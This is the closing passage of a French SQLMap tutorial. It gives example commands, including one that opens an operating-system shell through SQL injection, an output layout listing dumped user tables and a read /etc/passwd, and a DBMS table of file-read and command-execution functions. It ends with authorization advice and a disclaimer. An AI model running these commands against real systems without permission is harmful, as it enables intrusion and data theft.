sqlmap -u "[URL]" --tamper=space2comment --random-agent
# Shell OS
sqlmap -u "[URL]" --os-shell
# Avec requête Burp
sqlmap -r request.txt --batch
# API JSON
sqlmap -u "[URL]" --data='{"id":1*}' --headers="Content-Type: application/json"
Codes de sortie SQLMap¶
| Code | Signification |
|---|---|
| 0 | Succès |
| 1 | Erreur générique |
| 2 | Cible non vulnérable |
| 3 | Interruption utilisateur (Ctrl+C) |
Structure des fichiers de sortie¶
~/.local/share/sqlmap/output/
└── exemple.com/
├── dump/ # Données extraites
│ └── shop_db/
│ └── users.csv
├── files/ # Fichiers lus du serveur
│ └── _etc_passwd
├── log # Logs détaillés
├── session.sqlite # Cache de session
└── target.txt # Informations sur la cible
Variables d’environnement utiles¶
# Définir le chemin de sortie par défaut
export SQLMAP_OUTPUT_DIR="/path/to/custom/output"
# Désactiver les couleurs
export SQLMAP_DISABLE_COLORING=1
# Utiliser un proxy par défaut
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"
Comparaison des SGBD¶
| Fonctionnalité | MySQL | PostgreSQL | MSSQL | Oracle |
|---|---|---|---|---|
| File read | ✅ LOAD_FILE() | ✅ pg_read_file() | ✅ OPENROWSET | ✅ UTL_FILE |
| File write | ✅ INTO OUTFILE | ✅ COPY TO | ✅ OPENROWSET | ✅ UTL_FILE |
| OS command | ❌ (via UDF) | ❌ (via extensions) | ✅ xp_cmdshell | ✅ Java stored |
| Stacked queries | ❌ | ✅ | ✅ | ✅ |
| Time delay | SLEEP() | pg_sleep() | WAITFOR DELAY | DBMS_LOCK |
Conclusion¶
SQLMap est un outil extrêmement puissant pour détecter et exploiter les vulnérabilités d’injection SQL. Cependant, avec cette puissance vient une grande responsabilité :
Points clés à retenir¶
- Toujours obtenir une autorisation écrite avant tout test
- Commencer par les techniques les moins invasives (détection uniquement)
- Documenter méticuleusement toutes les actions
- Minimiser l’impact sur les systèmes de production
- Former continuellement vos compétences sur des environnements légaux
Prochaines étapes¶
Après avoir maîtrisé SQLMap, explorez :
- Exploitation manuelle des injections SQL pour comprendre les mécanismes
- Développement sécurisé pour apprendre à prévenir ces vulnérabilités
- Autres types d’injections : NoSQL, LDAP, XML, etc.
- Bug bounty et pentesting professionnel avec certifications
Ressources additionnelles¶
- Documentation officielle : https://github.com/sqlmapproject/sqlmap
- OWASP : https://owasp.org/www-community/attacks/SQL_Injection
- PortSwigger Academy : https://portswigger.net/web-security/sql-injection
- HackTheBox & TryHackMe pour la pratique
Version du document : 1.0 Dernière mise à jour : 2025 Auteur : Guide complet SQLMap
Avertissement : Ce document est fourni à des fins éducatives uniquement. L’auteur et les distributeurs de ce document ne peuvent être tenus responsables de toute utilisation illégale ou non éthique de ces informations.